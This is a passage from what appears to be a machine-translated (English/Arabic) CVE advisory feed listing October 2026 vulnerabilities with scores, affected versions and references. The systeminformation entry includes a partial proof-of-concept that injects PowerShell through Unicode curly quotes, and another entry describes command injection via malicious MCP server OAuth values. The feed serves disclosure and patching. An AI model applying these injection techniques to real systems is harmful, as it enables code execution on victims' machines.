authorization_endpoint الخاصة ببروتوكول OAuth القادمة من خوادم MCP ضارة، والتي يتم تنفيذها عندما يمرر الملف index.js هذه القيم دون تنقيب إلى powershell -EncodedCommand."},"refs":[["https://github.com/anomalyco/opencode/commit/29f07e0c69ad8668e0e15b0eb54f2fcb342af98c","patch"],["https://github.com/anomalyco/opencode/pull/51414","patch"],["https://github.com/sindresorhus/open/commit/274d70446bf38a7b7d50b214dd3962ef8ea9320d","patch"],["https://github.com/modelcontextprotocol/inspector/security/advisories/GHSA-q978-78c7-phqw","advisory"],["https://www.vulncheck.com/advisories/open-7.2.0-before-11.0.0-os-command-injection-via-powershell-on-windows","advisory"],["https://github.com/sindresorhus/open/blob/v10.2.0/index.js#L189-L203","ref"],["https://github.com/sindresorhus/open/blob/v7.2.0/index.js#L60-L99","ref"],["https://github.com/sindresorhus/open/releases/tag/v11.0.0","ref"]],"epss":0.0145,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sindresorhus-open"},{"id":"CVE-2026-114488","cvss":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-829","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T06:17:19Z","product":"Red Hat Red Hat Fuse 7","affected":[],"title":{"en":"Wildfly: wildfly-iiop: wildfly-ejb3: wildfly: authentication bypass on iiop ejb invocations as csiv2 ittprincipalname accepted without transport binding","ar":"Wildfly: ثغرة تجاوز المصادقة في استدعاءات IIOP EJB لـ wildfly-iiop و wildfly-ejb3 و wildfly حيث يُقبل معرف ITTPrincipalName لـ CSIv2 دون ربط النقل"},"summary":{"en":"A flaw was found in Wildfly. A remote attacker can bypass authentication on IIOP EJB invocations as the CSIv2 security interceptor accepts ITTPrincipalName identity assertions in the service context without verifying transport-level authentication, allowing a pre-auth attacker on the port 3528 to impersonate any principal on every IIOP-exposed @Remote EJB.","ar":"اكتُشف خلل في Wildfly. يمكن لمهاجم عن بُعد تجاوز المصادقة على استدعاءات IIOP EJB نظرًا لأن معترض أمان CSIv2 يقبل تأكيدات هوية ITTPrincipalName في سياق الخدمة دون التحقق من المصادقة على مستوى النقل، مما يسمح لمهاجم مسبق المصادقة على المنفذ 3528 بانتحال صفة أي مُعرّف (Principal) على كل دالة @Remote EJB معرضة عبر بروتوكول IIOP."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-114488","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2491619","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-fuse"},{"id":"CVE-2026-76418","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","cwe":"CWE-690","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Cisco Secure Firewall ASA Software and Cisco Secure FTD Software","affected":[["9.16.1",null],["9.16.1.28",null],["9.16.2",null],["9.16.2.3",null],["9.16.2.7",null],["9.16.2.11",null],["9.16.2.13",null],["9.16.2.14",null],["9.16.3.3",null],["9.16.3",null],["9.16.3.14",null],["9.18.1",null]],"title":{"en":"Cisco Secure Firewall ASA Software and Cisco Secure FTD Software Unchecked Return Value to NULL Pointer Dereference Vulnerability","ar":"ثغرة عدم التحقق من القيمة المُعادة المؤدية إلى إلغاء إسناد مؤشر معدوم في برنامج Cisco Secure Firewall ASA وبرنامج Cisco Secure FTD"},"summary":{"en":"Cisco Secure Firewall ASA Software and Cisco Secure FTD Software contains an unchecked return value to NULL pointer dereference vulnerability that could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.","ar":"يحتوي برنامج Cisco Secure Firewall ASA وبرنامج Cisco Secure FTD على ثغرة عدم التحقق من القيمة المُعادة المؤدية إلى إلغاء إسناد مؤشر معدوم والتي يمكن أن تسمح لمهاجم عن بُعد غير مصدق له بتسبب إعادة تشغيل الجهاز بشكل غير متوقع، مما يؤدي إلى حدوث حالة حجب الخدمة."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-tunnel-dos-s6mgkb75","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-76418","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76418","ref"]],"epss":0.0082,"kevAdded":"2026-10-29T00:00:00Z","kevDue":"2026-11-01T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-firewall"},{"id":"CVE-2026-97229","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-29T00:00:00Z","product":"GitLab Community Edition and Enterprise Edition","affected":[["19.2 – <19.2.8","19.2.8"],["19.3 – <19.3.5","19.3.5"],["19.4 – <19.4.2","19.4.2"],["19.2.0 – <19.2.8","19.2.8"],["19.3.0 – <19.3.5","19.3.5"],["19.4.0 – <19.4.2","19.4.2"],["3.3.0 – <3.3.13","3.3.13"],["3.4.0 – <3.4.12","3.4.12"],["4.0.0 – <4.0.8","4.0.8"]],"title":{"en":"GitLab Community Edition and Enterprise Edition Integer Overflow or Wraparound Vulnerability","ar":"ثغرة فيضان الأعداد الصحيحة أو التفافها في GitLab Community Edition و Enterprise Edition"},"summary":{"en":"GitLab Community Edition and Enterprise Edition contain a integer overflow or wraparound vulnerability that could allow an unauthenticated user to execute arbitrary code on the GitLab server via a specially crafted regular expression in a CI/CD configuration, due to insufficient regular expression validation.","ar":"يحتوي كل من GitLab Community Edition و Enterprise Edition على ثغرة فيضان الأعداد الصحيحة أو التفافها والتي قد تسمح لمستخدم غير مصدق له بتنفيذ تعليمات برمجية تعسفية على خادم GitLab عبر تعبير نمطي مصمم خصيصاً في تكوين CI/CD، وذلك بسبب التحقق غير الكافي من التعبير النمطي."},"refs":[["https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves","advisory"],["https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-97229","advisory"],["https://github.com/rapid7/metasploit-framework/pull/22017","advisory"],["https://www.ruby-lang.org/en/news/2026/10/23/regexp-fixes-for-gitlab-cves/","advisory"],["https://gitlab.com/gitlab-org/gitlab/-/work_items/630686","ref"],["https://hackerone.com/reports/4055749","ref"],["https://hackerone.com/reports/4058589","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-97229","ref"]],"epss":0.2769,"kevAdded":"2026-10-29T00:00:00Z","kevDue":"2026-11-01T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"gitlab-community-edition-and-enterprise-edition"},{"id":"CVE-2026-51832","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in IDrive IDrive Backup for Windows Version 7.0.1.1 and below affected, remediated in Version 7.0.1.2 allows a local attacker to execute arbi","ar":"مشكلة في IDrive IDrive Backup لنظام Windows الإصدار 7.0.1.1 وما قبله (تمت معالجتها في الإصدار 7.0.1.2) تتيح لمهاجم محلي تنفيذ شيفرة"},"summary":{"en":"An issue in IDrive IDrive Backup for Windows Version 7.0.1.1 and below affected, remediated in Version 7.0.1.2 allows a local attacker to execute arbitrary code via the id_service.exe component","ar":"تؤثر مشكلة في منتج IDrive IDrive Backup لنظام Windows الإصدار 7.0.1.1 وما قبله وتمت معالجتها في الإصدار 7.0.1.2، حيث تتيح لمهاجم محلي تنفيذ شيفرة عشوائية عبر مكون id_service.exe"},"refs":[["https://www.idrive.com/release-info#win","ref"],["https://frsecure.com/blog/idrive-vulnerabilities-cve-2026-51831-and-cve-2026-51832/","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107041","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in the FeatureActionActivity component of Oasis Feng Island versionCode 51801 allows unauthorized attackers to arbitrarily force ","ar":"أذونات غير آمنة في مكون FeatureActionActivity الخاص بـ Oasis Feng Island للإصدار versionCode 51801 تتيح لمهاجمين غير مصرح لهم فرض"},"summary":{"en":"Insecure permissions in the FeatureActionActivity component of Oasis Feng Island versionCode 51801 allows unauthorized attackers to arbitrarily force a freeze in the device, leading to a Denial of Service (DoS).","ar":"تؤدي أذونات غير آمنة في مكون FeatureActionActivity الخاص بـ Oasis Feng Island للإصدار versionCode 51801 إلى تمكين مهاجمين غير مصرح لهم من فرض تجميد في الجهاز بشكل تعسفي، مما يؤدي إلى حجب الخدمة."},"refs":[["https://f-droid.org/packages/com.oasisfeng.island.fdroid/","ref"],["https://github.com/oasisfeng/island","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107041.md","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-51863","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"DB-GPT v0.7.5 and 0.8.0 contains directory traversal in use_example_file (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:129).","ar":"يحتوي DB-GPT v0.7.5 و v0.8.0 على ثغرة اجتياز الدليل في use_example_file عبر (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:129)."},"summary":{"en":"DB-GPT v0.7.5 and 0.8.0 contains directory traversal in use_example_file (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:129). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary.","ar":"يحتوي DB-GPT v0.7.5 و v0.8.0 على ثغرة اجتياز الدليل في use_example_file عبر (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/examples_api.py:129). يمكن لمهاجم عن بُعد استخدام مسار الاستغلال المُتحقق منه لكتابة ملفات خارج مساحة العمل المقصودة أو حدود التخزين."},"refs":[["https://github.com/eosphoros-ai/DB-GPT/issues/3028","ref"],["https://gist.github.com/Ro1ME/8be4e1bad6c9d7a777ec7638b1192dee","ref"]],"epss":0.0081,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107014","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Bander Notepad (bander.notepad) versionCode 12 allow unauthorized attackers to write and read notes in another user's' note da","ar":"أذونات غير آمنة في تطبيق Bander Notepad (bander.notepad) الإصدار 12 تتيح لمهاجمين غير مصرح لهم قراءة وكتابة الملاحظات في قاعدة بيانات ملاحظات مستخدم آخر."},"summary":{"en":"Insecure permissions in Bander Notepad (bander.notepad) versionCode 12 allow unauthorized attackers to write and read notes in another user's' note database.","ar":"تتيح أذونات غير آمنة في تطبيق Bander Notepad (bander.notepad) الإصدار 12 لمهاجمين غير مصرح لهم قراءة وكتابة الملاحظات في قاعدة بيانات ملاحظات مستخدم آخر."},"refs":[["https://f-droid.org/archive/bander.notepad_12.apk","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107014.md","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107051","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in klassm AndFHEM v2.4.1 (versionCode 241, the verified build) allows unauthorized attackers to arbitrarily manipulate another us","ar":"أذونات غير آمنة في klassm AndFHEM v2.4.1 (معرف الإصدار 241، البناء المُتحقَّق منه) تسمح لمهاجمين غير مصرح لهم بالتلاعب التعسفي بتكوينات تحكم الأتمتة المنزلية FHEM الخاصة بمستخدم آخر"},"summary":{"en":"Insecure permissions in klassm AndFHEM v2.4.1 (versionCode 241, the verified build) allows unauthorized attackers to arbitrarily manipulate another user's FHEM home-automation control configurations.","ar":"تسمح الأذونات غير الآمنة في klassm AndFHEM v2.4.1 (معرف الإصدار 241، البناء المُتحقَّق منه) لمهاجمين غير مصرح لهم بالتلاعب التعسفي بتكوينات تحكم الأتمتة المنزلية FHEM الخاصة بمستخدم آخر."},"refs":[["https://f-droid.org/packages/li.klass.fhem/","ref"],["https://github.com/klassm/andFHEM","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107051.md","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107024","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-732","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Share 2 Archive Today versionCode 61 allows unauthorized attackers to arbitrarily overwrite another user's clipboard content v","ar":"صلاحيات غير آمنة في تطبيق Share 2 Archive Today الإصدار رقم 61 تسمح للمهاجمين غير المصرح لهم بالكتابة الفوقية العشوائية على محتوى الحافظة لمستخدم آخر"},"summary":{"en":"Insecure permissions in Share 2 Archive Today versionCode 61 allows unauthorized attackers to arbitrarily overwrite another user's clipboard content via supplying a crafted URL.","ar":"تتيح صلاحيات غير آمنة في تطبيق Share 2 Archive Today الإصدار رقم 61 للمهاجمين غير المصرح لهم الكتابة الفوقية بشكل عشوائي على محتوى الحافظة لمستخدم آخر عبر توفير عنوان URL معد خصيصًا."},"refs":[["https://f-droid.org/packages/org.gnosco.share2archivetoday/","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107024.md","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107029","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-732","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in rubenalfon Pile v1.1.3 allows unauthorized attackers to invoke an exported component, leading to arbitrary data access and ove","ar":"صلاحيات غير آمنة في تطبيق rubenalfon Pile الإصدار v1.1.3 تسمح للمهاجمين غير المصرح لهم باستدعاء مكون مُصدّر، مما يؤدي إلى الوصول إلى البيانات العشوائية والكتابة الفوقية عليها"},"summary":{"en":"Insecure permissions in rubenalfon Pile v1.1.3 allows unauthorized attackers to invoke an exported component, leading to arbitrary data access and overwriting.","ar":"تسمح صلاحيات غير آمنة في تطبيق rubenalfon Pile الإصدار v1.1.3 للمهاجمين غير المصرح لهم باستدعاء مكون مُصدّر، مما يؤدي إلى الوصول إلى بيانات عشوائية والكتابة الفوقية عليها."},"refs":[["https://f-droid.org/packages/es.pile/","ref"],["https://github.com/rubenalfon/Pile","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107029.md","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107059","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in Nextcloud versionCode 30390190 allows attackers to force victim users to logout of their accounts and switch to an attacker controlled pro","ar":"تسمح مشكلة في Nextcloud versionCode 30390190 للمهاجمين بإجبار المستخدمين الضحايا على تسجيل الخروج من حساباتهم والتبديل إلى ملف تعريف يتحكم فيه المهاجم"},"summary":{"en":"An issue in Nextcloud versionCode 30390190 allows attackers to force victim users to logout of their accounts and switch to an attacker controlled progile, bypassing authentication.","ar":"تسمح مشكلة في Nextcloud versionCode 30390190 للمهاجمين بإجبار المستخدمين الضحايا على تسجيل الخروج من حساباتهم والتبديل إلى ملف تعريف يتحكم فيه المهاجم، مما يؤدي إلى تجاوز المصادقة."},"refs":[["https://f-droid.org/packages/com.nextcloud.client/","ref"],["https://github.com/nextcloud/android","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107059.md","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107048","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"An issue in the WebView rendering path component of MotionCreative Motion UI versionCode 101 allows attackers to execute arbitrary code via supplying ","ar":"مشكلة في مكون مسار عرض WebView الخاص بمنتج MotionCreative Motion UI للإصدار versionCode 101 تسمح للمهاجمين بتنفيذ شيفرة عشوائية عبر توفير"},"summary":{"en":"An issue in the WebView rendering path component of MotionCreative Motion UI versionCode 101 allows attackers to execute arbitrary code via supplying a crafted POST request.","ar":"تتيح مشكلة في مكون مسار عرض WebView الخاص بمنتج MotionCreative Motion UI للإصدار versionCode 101 للمهاجمين تنفيذ شيفرة عشوائية عبر توفير طلب POST مصمم خصيصاً."},"refs":[["https://f-droid.org/packages/app.motionui.android/","ref"],["https://github.com/motionui/motionui-android","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107048.md","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107038","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in Yet Another UPnP Controller versionCode 50200 allows unauthorized attackers to invoke an exported component, leading to arbitr","ar":"صلاحيات غير آمنة في تطبيق Yet Another UPnP Controller الإصدار versionCode 50200 تسمح لمهاجمين غير مصرح لهم باستدعاء مكون مُصدَّر، مما يؤدي إلى تنفيذ"},"summary":{"en":"Insecure permissions in Yet Another UPnP Controller versionCode 50200 allows unauthorized attackers to invoke an exported component, leading to arbitrary data access and control of application data.","ar":"تسمح الصلاحيات غير الآمنة في تطبيق Yet Another UPnP Controller الإصدار versionCode 50200 لمهاجمين غير مصرح لهم باستدعاء مكون مُصدَّر، مما يؤدي إلى الوصول إلى البيانات بشكل عشوائي والتحكم في بيانات التطبيق."},"refs":[["https://f-droid.org/packages/de.yaacc/","ref"],["https://github.com/cbejr/yaacc","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107038.md","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-107027","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-926","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-29T00:00:00Z","product":"Unknown product","affected":[],"title":{"en":"Insecure permissions in lz233 Tarnhelm v1.8.2 (versionCode 20250630) allows unauthorized attackers to invoke an exported component, leading to arbitra","ar":"صلاحيات غير آمنة في lz233 Tarnhelm v1.8.2 (versionCode 20250630) تسمح للمهاجمين غير المصرح لهم باستدعاء مكون مُصدَّر، مما يؤدي إلى..."},"summary":{"en":"Insecure permissions in lz233 Tarnhelm v1.8.2 (versionCode 20250630) allows unauthorized attackers to invoke an exported component, leading to arbitrary data access and overwriting.","ar":"تتيح الصلاحيات غير الآمنة في lz233 Tarnhelm v1.8.2 (versionCode 20250630) للمهاجمين غير المصرح لهم استدعاء مكون مُصدَّر، مما يؤدي إلى الوصول إلى البيانات العشوائية والكتابة فوقها."},"refs":[["https://f-droid.org/packages/cn.ac.lz233.tarnhelm/","ref"],["https://github.com/lz233/Tarnhelm","ref"],["https://github.com/FFG0d/fdroid-android-advisories/blob/main/advisories/CVE-2026-107027.md","ref"]],"epss":0.0017,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-116576","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T22:42:49Z","product":"systeminformation","affected":[["< 5.33.16","5.33.16"]],"title":{"en":"systeminformation vulnerable to Windows command injection in services() through Unicode quotation marks","ar":"systeminformation عرضة لحقن أوامر Windows في services() من خلال علامات الاقتباس يونيكود"},"summary":{"en":"### Summary On Windows, `systeminformation@5.33.15` builds a PowerShell command using the value passed to `services()`. The default sanitizer removes ASCII quotes but keeps Unicode curly quotes, spaces, and parentheses. A crafted service name can use those characters to break out of the generated filter string and run a PowerShell expression. The expression runs with the permissions of the Node.js process. This report confirms version `5.33.15`. Other package versions have not been checked. ### Details In `lib/processes.js`, `services()` sanitizes the caller's string with `sanitizeShellString()` and later inserts each resulting name into a `Get-CimInstance Win32_Service -Filter` command. The Windows branch passes that command to `util.powerShell()`. The sanitizer in `lib/util.js` removes the ASCII double quote, but it does not remove U+201C or U+201D, the left and right curly double quotation marks. It also permits spaces and parentheses when called in its default, non-strict mode. PowerShell accepts the curly marks as string delimiters, so an input can end the filter string and place a command expression in the generated command. For example, the input below uses curly quotation marks to end the generated filter string and execute `New-Item`. I reproduced this call on Windows against the checked-out `systeminformation@5.33.15` source; it created a marker file with the Node.js process account. ### Proof of concept Run this on Windows in a disposable directory with Node.js and PowerShell available: ```powershell mkdir si-command-injection-repro cd si-command-injection-repro npm init -y npm install systeminformation@5.33.15 ``` Save the following as `poc.cjs`, then run `node poc.cjs`: ```js 'use strict'; const fs = require('node:fs'); const path = require('node:path'); const si = require('systeminformation'); (async () => { const markerName = `si-injection-${process.pid}.txt`; const markerPath = path.join(process.cwd(), markerName); fs.rmSync(markerPath, { force: tru…","ar":"الملخص: على نظام Windows، يقوم `systeminformation@5.33.15` بنناء أمر PowerShell باستخدام القيمة الممررة إلى `services()`. يزيل المعقم الافتراضي علامات الاقتباس ASCII ولكنه يحتفظ بعلامات الاقتباس المنحنية ليونيكود والمسافات والأقواس. يمكن لاسم خدمة مُعد خصيصًا استخدام هذه الأحرف للخروج من سلسلة التصفية التي تم إنشاؤها وتشغيل تعبير PowerShell. يتم تشغيل التعبير بصلاحيات عملية Node.js. يؤكد هذا التقرير الإصدار `5.33.15`. لم يتم فحص إصدارات الحزم الأخرى. التفاصيل: في `lib⼅processes.js`، تقوم الدالة `services()` بتعقيم سلسلة المتصل باستخدام `sanitizeShellString()` وتقوم لاحقًا بإدراج كل اسم ناتج في أمر `Get-CimInstance Win32_Service -Filter`. تمرر فرعية Windows هذا الأمر إلى `util.powerShell()`. يزيل المعقم في `lib⼅util.js` علامة الاقتباس المزدوجة ASCII، لكنه لا يزيل U+201C أو U+201D، وهما علامات الاقتباس المزدوجة المنحنية اليسرى واليمنى. كما أنه يسمح بالمسافات والأقواس عند استدعائه في وضعه الافتراضي غير الصارم. يقبل PowerShell العلامات المنحنية كفواصل للسلسلة، لذا يمكن للإدخال إنهاء سلسلة التصفية وضع تعبير أمر في الأمر الناتج. على سبيل المثال، يستخدم الإدخال أدناه علامات الاقتباس المنحنية لإنهاء سلسلة التصفية التي تم إنشاؤها وتنفيذ `New-Item`. لقد قعت إعادة إنتاج هذا الاستدعاء على نظام Windows مقابل مصدر `systeminformation@5.33.15` الذي تم فحصه؛ وقد أنشأ ملف علامة بحساب عملية Node.js."},"refs":[["https://github.com/advisories/GHSA-3f7j-7jwc-fxfj","advisory"],["https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-3f7j-7jwc-fxfj","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116576","ref"],["https://github.com/sebhildebrandt/systeminformation/commit/5014c6d25cfce7363b937977327baa853cdba0bf","ref"],["https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.16","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"systeminformation"},{"id":"CVE-2026-61571","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T22:17:16Z","product":"WWBN AVideo-Encoder","affected":[],"title":{"en":"AVideo-Encoder: missing authentication on control and status endpoints","ar":"AVideo-Encoder: غياب المصادقة على نقاط نهاية التحكم والحالة"},"summary":{"en":"AVideo is a video-sharing Platform. Prior to 8.1.0, the encoder lacks a global authentication layer and exposes control and status PHP endpoints to anonymous network callers. `view/run.php` has a commented-out guard and invokes `Encoder::run()`. `view/queue.json.php` calls `Encoder::getAll(true)`, reveals streamer URLs through `getSiteURL()`, and triggers processing with `execRun()`. `view/status.php` returns `Access-Control-Allow-Origin` with a wildcard, reads the queue, triggers processing, and exposes host memory statistics through `ServerMonitor::getMemory()` when `serverStatus` is set. `view/listFiles.json.php` checks only `Login::canBulkEncode()`, which admits anonymous callers whenever `disableBulkEncode` is empty, the default. Its `path` parameter is resolved with `realpath()` and listed with `scandir()` without a base-directory restriction. An unauthenticated attacker can drive the privileged queue processor, read queue and streamer-site information, obtain memory statistics and enumerate media file names and paths in any directory readable by the web-server user. Enumeration is limited to configured media extensions and does not itself disclose arbitrary file contents. This issue is fixed in version 8.1.0.","ar":"AVideo هي منصة مشاركة فيديو. قبل الإصدار 8.1.0، يفتقر المشفر إلى طبقة مصادقة عامة ويعرض نقاط نهاية PHP للتحكم والحالة لمتصلين مجهولين عبر الشبكة. 